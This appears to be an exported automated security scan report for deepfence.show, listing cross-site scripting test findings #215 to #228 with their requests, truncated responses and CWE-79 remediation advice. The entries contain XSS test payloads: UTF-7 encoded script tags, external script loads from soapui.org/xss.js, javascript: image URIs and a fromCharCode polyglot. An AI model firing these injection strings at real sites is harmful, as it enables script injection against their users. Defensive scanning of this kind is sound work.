Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT
="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-
alert('XSS');+ADw-/SCRIPT+AD4-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #215Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT a=">" SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #216
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT =">" SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #217
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT a=">" '' SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #218
Scan Cross Site Scripting
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT "a='>'" SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #219
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT a=`>` SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #220
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT a=">'>" SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #221
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="
http://soapui.org/xss.js"></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #222
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <PLAINTEXT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #223
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ';alert(String.fromCharCode(88,83,83))//\';alert(
String.fromCharCode(88,83,83))//";alert(String.fromCharCode(
88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>
">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #224
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '';!--"<XSS>=&{()}
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #225
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT SRC=http://soapui.org/xss.js></SCRIPT
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #226Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC="javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #227
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=javascript:alert('XSS')>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #228
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=JaVaScRiPt:alert('XSS')>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
